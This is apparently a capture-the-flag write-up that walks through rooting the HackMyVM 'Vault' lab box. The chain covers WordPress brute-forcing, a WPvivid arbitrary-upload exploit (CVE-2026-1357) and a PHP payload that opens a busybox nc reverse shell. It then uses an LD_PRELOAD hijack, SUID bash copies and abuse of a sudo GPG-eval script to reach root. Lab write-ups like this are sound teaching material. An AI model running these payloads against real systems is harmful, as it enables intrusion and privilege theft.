09/07/26
Vault
hackmyvm
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ
Today, I am doing Vault, an easy Linux box running WordPress.
Recon
As usual, I started with Nmap.
nmap -sV -sC 192.168.56.107
Nmap scan report for 192.168.56.107
Host is up (0.00096s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.66 ((Debian))
|_http-server-header: Apache/2.4.66 (Debian)
|_http-generator: WordPress 6.9.4
|_http-title: mazesec社区成员 – 加入我们
MAC Address: 08:00:27:FB:99:9F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Only SSH and HTTP were open. The web server was Apache on Debian, and Nmap identified WordPress running on port 80.
Next, I moved to WordPress enumeration.
WordPress enumeration
I used WPScan for the normal WordPress checks first.
wpscan --url http://192.168.56.107 --enumerate u,p --plugins-detection mixed --detection-mode mixed
[+] XML-RPC seems to be enabled: http://192.168.56.107/xmlrpc.php
[+] WordPress readme found: http://192.168.56.107/readme.html
[+] Upload directory has listing enabled: http://192.168.56.107/wp-content/uploads/
[+] WordPress version 6.9.4 identified
[+] WordPress theme in use: twentytwentyfive
[i] User(s) Identified:
[+] kaada
At this point, I had a valid WordPress username. I first tried rockyou.txt, but it failed, so I generated a custom wordlist with CeWL.
cewl -d 2 -m 3 --with-numbers http://192.168.56.107/ | grep -P '^[\x20-\x7E]+$' | grep -E '^[A-Za-z0-9_@.!#$%^&*-]{3,64}$' | sort -u > english_wordlist.txt
This kept only English words and removed the Chinese words from the generated list.
Then I used WPScan to test the generated list against the discovered user:
wpscan --url http://192.168.56.107 --usernames kaada --passwords english_wordlist.txt
WPScan found a valid login through XML-RPC:
[SUCCESS] - kaada / wea5e1
[!] Valid Combinations Found:
| Username: kaada, Password: wea5e1
WordPress admin access
With the credentials, I logged in to WordPress:
http://192.168.56.107/wp-admin/
kaada : wea5e1
The account had WordPress administrator access. This is the important missing step for the WPvivid finding: the vulnerable plugin was present, but it needed to be active before the unauthenticated migration handler could be abused.
Activating WPvivid
Inside the WordPress admin panel, I checked the installed plugins and found WPvivid Backup & Migration available.
/wp-admin/plugins.php
After activating it, WPScan's plugin finding was worth testing again instead of being just an installed-but-inactive lead.
Plugin: wpvivid-backuprestore
Version: 0.9.122
Vulnerability: Migration, Backup, Staging < 0.9.124 - Unauthenticated Arbitrary File Upload
CVE: CVE-2026-1357
The reason the first unauthenticated exploit attempt can fail is simple: if the plugin is inactive, WordPress does not load its plugins_loaded handler. After activation, WPvivid registers the public POST handler that watches for:
wpvivid_action=send_to_site
wpvivid_content=<encrypted payload>
Testing CVE-2026-1357
For this part, I used the public PoC instead of writing a custom payload from scratch:
git clone https://github.com/LucasM0ntes/POC-CVE-2026-1357.git
cd POC-CVE-2026-1357
The PoC needs the old phpseclib Rijndael implementation:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
The exploit abuses WPvivid's site migration feature. The malicious encrypted JSON uses path traversal in the backup filename:
../uploads/pwn_remote.php
That makes the plugin write the PHP payload into the public uploads directory:
/wp-content/uploads/pwn_remote.php
The original PoC uploads a system($_GET["cmd"]) shell, but on this box that did not work reliably. First, I tried reading files such as wp-config.php to confirm that the PoC worked.
$shell_content = '<?php echo file_get_contents(__DIR__ . "/../../wp-config.php"); ?>';
Then I generated and sent the payload with the same PoC format:
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://192.168.56.107/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
This time the PoC worked and WPvivid wrote the PHP file into uploads:
HTTP/1.1 200 OK
{"result":"success","op":"finished"}
Then I opened the uploaded file:
curl http://192.168.56.107/wp-content/uploads/pwn_remote.php
And confirmed wp-config.php without needing a shell:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'kaada' );
define( 'DB_PASSWORD', 'wea5e1' );
define( 'DB_HOST', 'localhost' );
Next, I tried to get a shell, but the first payload did not work. I read the phpinfo() page to check the PHP configuration and see which functions were disabled. From there, I found that exec was available.
For the phpinfo() payload, I used:
Note: when generating a new payload, the uploaded filename/path must be changed to something else, such as ../uploads/shell.php. Otherwise, sending the payload with curl may return this error: {'result':'failed','error':'File md5 is not matched.'}.
$shell_content = '<?php phpinfo(); ?>';
So I changed the payload to execute busybox nc:
$shell_content = <<<'PHP'
<?php
header('Content-Type: text/plain');
$out = [];
$code = 0;
exec(
'busybox nc 192.168.56.101 4444 -e /bin/sh >/tmp/busybox_nc.log 2>&1 &',
$out,
$code
);
echo "Launch exit code: $code\n";
echo implode("\n", $out);
?>
PHP;
And I got a shell:
ζ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.107] 47608
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@Vault:/var/www/wordpress/wp-content/uploads$
It took me a long time to find the next step. The intended file to exploit was /var/tmp/.sys_update, which pretended to be a system job and loaded /var/tmp/.service_config.
The plan was to hijack .sys_update by writing a malicious .service_config. The attack chain was:
echo 'export LD_PRELOAD=/var/tmp/suid.so' > /var/tmp/.service_config
After that, I created a malicious C file:
cat > /var/tmp/suid.c <<'EOF'
#include <stdlib.h>
__attribute__((constructor)) void init(){
system("/bin/cp /bin/bash /var/tmp/fakebash; /bin/chmod 4755 /var/tmp/fakebash");
}
EOF
Then I compiled it:
gcc -shared -fPIC /var/tmp/suid.c -o /var/tmp/suid.so
After that, I waited around 30 seconds. Then the SUID Bash binary appeared.
After that, I used the SUID Bash binary to access ta0's files.
/var/tmp/fakebash -p
bash-5.0$ id
uid=33(www-data) gid=33(www-data) euid=1000(ta0) groups=33(www-data)
bash-5.0$ whoami
ta0
First, I read the broken.txt and key files:
cat /home/ta0/broken.txt
cat /home/ta0/key
The broken.txt file had three values, and it looked like an RSA cryptography puzzle.
We had N, e, and C. To recover the plaintext, we needed to find d, the private exponent.
Since d = e^-1 mod φ(N) and φ(N) = (p-1)(q-1), we needed to find p and q., I tried to use Fermat factorization in Python and it works.
from math import isqrt
from base64 import b64decode
N = 34290741416599402000364426406985307108788847346139849276056423456850484785031054576175547387593396760716456841067680666550537736929030835788005715533
e=65537
C=6306633972929323441109245980962040907076223927772663682932361844805694754336072683925275888222658229758199381118184386449967084124219498140114920047
a = isqrt(N)
if a * a < N:
a += 1
while True:
b2 = a * a - N
b = isqrt(b2)
if b * b == b2:
p = a - b
q = a + b
break
a += 1
print("p =", p)
print("q =", q)
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
message_integer = pow(C, d, N)
message = message_integer.to_bytes(
(message_integer.bit_length() + 7) // 8,
"big"
)
print(message.decode())
The script returned a flag-looking value, but it was actually the missing last part of the SSH key.
flag{sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==}
After fixing the corrupted parts of the key, the recovered key looked like this:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA8Le3BIFbL/x2Sj6XezgLN74alDkgAAAKA0SMbuYhfOdahinbXffT
5VvP/qBk9llf2jBMBGg0Jy2wMeAexvk8bRY18eEYVZTiES1alZgB//07hwSJWhfkd1l2Oh
ZGMjfOAQTo1ViBSdL9NaPe3Xqdy1398fglh6fsLYtAAism6RJI1KbCyBtTrUOGx5m/Fep2
DVs55XhuTEnq7cM/pnp8Wp1Kjuple/sUj0yTPm0L8zu6PLKLfrSFNKKGbDmiiS18wl6EgO
0/7awt3gNLBipJCxPaJuda6Zrs49lx0Pytd0uwwl/OhsHzqg6b8fXzKOZpy77+86+uAqol
A3puUCQV/QAAA8h6LZeOei2XjgAAAAdzc2gtcnNhAAABAQDwt7cEgVsv/HZKPpd7OAs3vh
qUOSAAAAoDRIxu5iF851qGKdtd99PlW8/+oGT2WV/aMEwEaDQnLbAx4B7G+TxtFjXx4RhV
lOIRLVqVmAH//TuHBIlaF+R3WXY6FkYyN84BBOjVWIFJ0v01o97dep3LXf3x+CWHp+wti0
ACKybpEkjUpsLIG1OtQ4bHmb8V6nYNWznleG5MSertwz+menxanUqO6mV7+xSPTJM+bQvz
O7o8sot+tIU0ooZsOaKJLXzCXoSA7T/trC3eA0sGKkkLE9om51rpmuzj2XHQ/K13S7DCX8
6GwfOqDpvx9fMo5mnLvv7zr64CqiUDem5QJBX9AAAAAwEAAQAAAQAqsescOXVbBYRVltR3
XnFe6bD9KUSru1YLTlU6NkcqSD6eHT5zZEmJHMe/eeNublu572cMQQ8/A7OEpSPQVtSI5K
+cvzf5tfaC5XBzqApyxQ+R2xQhjqtPH+cAVoMM1SkMtTo23QPRfEK9CNu2nNDwCTPJfyHo
9bfGPDSWLeEw5V0/2caiBTAWTLFaOY8RiISDU6RcSI5c/rTCHoBesIfUAsM7Y8eOB5+AqG
C9mUkDOTlAtoulEHGD7I799oQV/fdpeAuN/K/wvf33Xk8zdY9qRMNo+lyR0sDbRhalitmN
h9UzlV1AnEkFbuMjA8jY6UB6X2CY5V0wWs2/yxI2m81hAAAAgQDF7aw9j6alW3el9m0D1D
jqJhdis8rcGvHJn/twnA0Z2+zSvphlbn2Usks+HY7jEkTKmURccEAagWza2PphosJ8A/iB
TqYGygLTxnFL4rrOtKEE2QSwZ5GWZ2EVva7sVu70mA1Ei0mlFygD5VHcpAVavFlWeKsF87
0Jzht5plWIgwAAAIEA/jN85wH3aT1GW/4ndr8QVFQ9zeEPCPzWeUb9HlegPHvdfRcjiSN8
UZPtjTO4Qo4NSBd9KatNAn+5h+6wmFrjRCwNAqLy+eEyqgzbR51MNU4n1nkvG1YIEr4rXt
1llgpyGtny92AENbP3rYkSrAxt8XQQ+zjCKZTsmHhzeVkSEFcAAACBAPJrzN1zxtevT6Fi
fS19n1QHKZXzkM2qx8yLvtoDmcww+LpN3bNBFJM6oAGBaWi+z7wZ795PhrocBaX9JlRuuq
+GplGimONDqrMX468nOJLy61xZuj2L1hi8shWDranUEKwIQi9KHvYgjX4i9xoUfvVbB838
sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==
-----END OPENSSH PRIVATE KEY-----
After that, I was able to authenticate as Sublarge.
bash-5.0$ ssh Sublarge@localhost -i key.fixed
Sublarge@Vault:~$ ls
ls
secrets.kdbx
Sublarge@Vault:~$
KeePass database (Not Worth it trust me , Go sudo -l )
During later local enumeration, I found a KeePass database:
file secrets.kdbx
secrets.kdbx: Keepass password database 2.x KDBX
I downloaded secrets.kdbx to my local machine so I could convert it with keepass2john and try to crack it.
I started a Python HTTP server on the target machine:
Sublarge@Vault:~$ python3 -m http.server 8888
ζ wget http://192.168.56.107:8888/secrets.kdbx
Convert it for John:
keepass2john secrets.kdbx > secrets.hash
After using a custom wordlist based on the information found on the machine, John confirmed that the KeePass password was the base64-looking value from the RSA puzzle.
john --wordlist=custom_wordlist2.txt secrets.hash
secrets:sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==
The hash cracked successfully, so I opened the database:
ζ keepassxc-cli open secrets.kdbx
Enter password to unlock secrets.kdbx:
secrets.kdbx> ls
GPG_Pass
secrets.kdbx> show -s GPG_Pass
Title: GPG_Pass
UserName: Audit
Password: ppdvC4WIjYp5
URL:
Notes:
Uuid: {57f8faac-a89d-40bf-a240-d47ce88e7ac5}
Tags:
Privilege escalation
I checked the sudo permissions for Sublarge:
Sublarge@Vault:~$ sudo -l
Matching Defaults entries for Sublarge on Vault:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User Sublarge may run the following commands on Vault:
(root) NOPASSWD: /usr/local/bin/secure_audit
This sudo rule allowed privilege escalation because the script trusted files controlled by Sublarge.
Sublarge@Vault:~$ cat /usr/local/bin/secure_audit
#!/bin/bash
GPG_BIN="/usr/bin/gpg"
PUB_KEY="/home/Sublarge/audit_pub.asc"
REPORT="/var/tmp/report.gpg"
$GPG_BIN --import "$PUB_KEY"
if $GPG_BIN --batch --trust-model always --verify "$REPORT"; then
echo "[+] 签名验证通过,正在执行审计指令..."
CMD=$($GPG_BIN --batch --decrypt "$REPORT" 2>/dev/null)
eval "$CMD"
else
echo "[-] 签名校验失败!"
exit 1
fi
The bug is that the current user controls both the report file and the public key file. This means I can generate my own GPG key, export its public key to the path used by the script, place my command inside a signed report, and then run the binary.
rm -rf /home/Sublarge/.auditgnupg
mkdir -m 700 /home/Sublarge/.auditgnupg
Next, I created a GPG batch file. This file tells gpg to generate a new RSA key automatically. I used %no-protection because no passphrase is needed for this exploit.
cat > /home/Sublarge/gpgbatch <<'GPG'
Key-Type: RSA
Key-Length: 2048
Name-Real: Audit Owned
Name-Email: audit@vault.local
Expire-Date: 0
%no-protection
%commit
GPG
Then I generated the GPG key:
Sublarge@Vault:~$ gpg --homedir /home/Sublarge/.auditgnupg --batch --gen-key /home/Sublarge/gpgbatch
gpg: keybox '/home/Sublarge/.auditgnupg/pubring.kbx' created
gpg: /home/Sublarge/.auditgnupg/trustdb.gpg: trustdb created
gpg: key F8E9F33CECE4A348 marked as ultimately trusted
gpg: directory '/home/Sublarge/.auditgnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/home/Sublarge/.auditgnupg/openpgp-revocs.d/0286E95F17855104F4A8559DF8E9F33CECE4A348.rev'
After that, I extracted the generated key ID. This ID was needed to export the matching public key and sign the malicious report.
Sublarge@Vault:~$ KEYID=$(gpg --homedir /home/Sublarge/.auditgnupg --list-secret-keys --with-colons | awk -F: '/^sec/ {print $5; exit}')
gpg: checking the trustdb
gpg: marginals needed: 3 completes needed: 1 trust model: pgp
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
Then I exported my public key to the exact path used by the vulnerable script. The script imports /home/Sublarge/audit_pub.asc before verifying the report. Because Sublarge controls this file, I could make the root script trust my own key.
Sublarge@Vault:~$ gpg --homedir /home/Sublarge/.auditgnupg --armor --export "$KEYID" > /home/Sublarge/audit_pub.asc
After that, I created the command that I wanted root to execute. This command copies /bin/bash to /var/tmp/root and sets the SUID bit. Later, running /var/tmp/root -p gives a shell with effective root privileges.
Sublarge@Vault:~$ echo 'cp /bin/bash /var/tmp/root; chmod 4755 /var/tmp/root' > /home/Sublarge/exploit
Finally, I signed the command file and saved the signed output as /var/tmp/report.gpg. This is the exact file that secure_audit verifies.
Sublarge@Vault:~$ gpg --homedir /home/Sublarge/.auditgnupg --batch --yes --armor --clearsign -u "$KEYID" -o /var/tmp/report.gpg /home/Sublarge/exploit
Sublarge@Vault:~$ sudo /usr/local/bin/secure_audit
gpg: key F8E9F33CECE4A348: public key "Audit Owned <audit@vault.local>" imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: using RSA key 0286E95F17855104F4A8559DF8E9F33CECE4A348
gpg: Good signature from "Audit Owned <audit@vault.local>" [unknown]
gpg: WARNING: Using untrusted key!
[+] 签名验证通过,正在执行审计指令...
Sublarge@Vault:~$ /var/tmp/root -p
root-5.0# whoami
root
I REALLY HATE THIS BOX
